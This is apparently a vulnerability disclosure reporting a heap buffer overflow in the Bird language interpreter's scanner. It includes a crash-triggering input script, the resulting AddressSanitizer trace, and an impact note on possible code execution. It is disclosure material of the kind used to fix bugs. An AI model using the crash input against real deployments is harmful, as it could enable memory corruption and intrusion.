Heap-based Buffer Overflow in mcfriend99/Bird

Valid
Reported on May 29th 2021

✍️ Description

Heap-based Write Violation. Certain input programs can result in write access violations by the syntax checker component of the interpreter. One such program writes 23 bytes onto the heap outside of bounds and may result in arbitrary code execution and memory leaks.

🕵️‍♂️ Proof of Concept

Program:

var a = gouter'

def test() {
var a = 'inner'
echo 'It works! ${a}'
}

echo a

echo test
test()

def test2(name, age, ...) {
echo name
echo age
echo __args__
}

test2('Richard', 20, 'James')

def sin(n) {
if n {
var t = n, sine = t
iter var a = 1; a < 24; a++ {
var mult = -n * n / ((2 * a + 1) * (2 * a))
t *= mult
sine += t
}

return sine
}
return nil
}

echo sin()
echo 'Sin 10 = ${sin(10)}'

Program Output:

SyntaxError:
File: /testfile1.b, Line: 4
Error at ''

def test() {
var a = '': end of statement expected
SyntaxError:
    File: /testfile1.b, Line: 5
    Error: unexpected character $
munmap_chunk(): invalid pointer
Aborted (core dumped)

Crash dump from GDB:

==686611==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006d58 at pc 0x7ffff761e715 bp 0x7fffffff9190 sp 0x7fffffff8920
WRITE of size 23 at 0x602000006d58 thread T0
#0 0x7ffff761e714 in vsprintf (/lib/x86_64-linux-gnu/libasan.so.5+0x9e714)
#1 0x5555555b32c6 in error_token src/core/scanner.c:32
#2 0x5555555b5ed0 in scan_token src/core/scanner.c:514
#3 0x55555556c4b1 in advance src/core/compiler.c:78
#4 0x55555557673b in synchronize src/core/compiler.c:2180
#5 0x555555576873 in declaration src/core/compiler.c:2200
#6 0x555555576f49 in compile src/core/compiler.c:2272
#7 0x5555555ab457 in interpret src/core/vm.c:1964
#8 0x5555555abd64 in run_file src/core/bird.c:157
#9 0x5555555abfd8 in main src/core/bird.c:180
#10 0x7ffff73b50b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#11 0x55555556b7ad in _start (/Bird_plain/build/bird+0x177ad)

0x602000006d58 is located 0 bytes to the right of 8-byte region [0x602000006d50,0x602000006d58)
allocated by thread T0 here:
#0 0x7ffff768dbc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
#1 0x5555555b3281 in error_token src/core/scanner.c:28
#2 0x5555555b5ed0 in scan_token src/core/scanner.c:514
#3 0x55555556c4b1 in advance src/core/compiler.c:78
#4 0x55555557673b in synchronize src/core/compiler.c:2180
#5 0x555555576873 in declaration src/core/compiler.c:2200
#6 0x555555576f49 in compile src/core/compiler.c:2272
#7 0x5555555ab457 in interpret src/core/vm.c:1964
#8 0x5555555abd64 in run_file src/core/bird.c:157
#9 0x5555555abfd8 in main src/core/bird.c:180
#10 0x7ffff73b50b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86_64-linux-gnu/libasan.so.5+0x9e714) in vsprintf
Shadow bytes around the buggy address:
0x0c047fff8d50: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fff8d60: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fff8d70: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
0x0c047fff8d80: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fd
0x0c047fff8d90: fa fa fd fa fa fa 00 fa fa fa fd fa fa fa 02 fa
=>0x0c047fff8da0: fa fa 07 fa fa fa 00 fa fa fa 00[fa]fa fa fa fa
0x0c047fff8db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==686611==ABORTING

💥 Impact

This vulnerability results in memory leaks and invalid writes to the heap. Arbitrary code execution may be possible through crafted input programs being put through the interpreter. The program should perform bounds checking to ensure that overflow does not occur.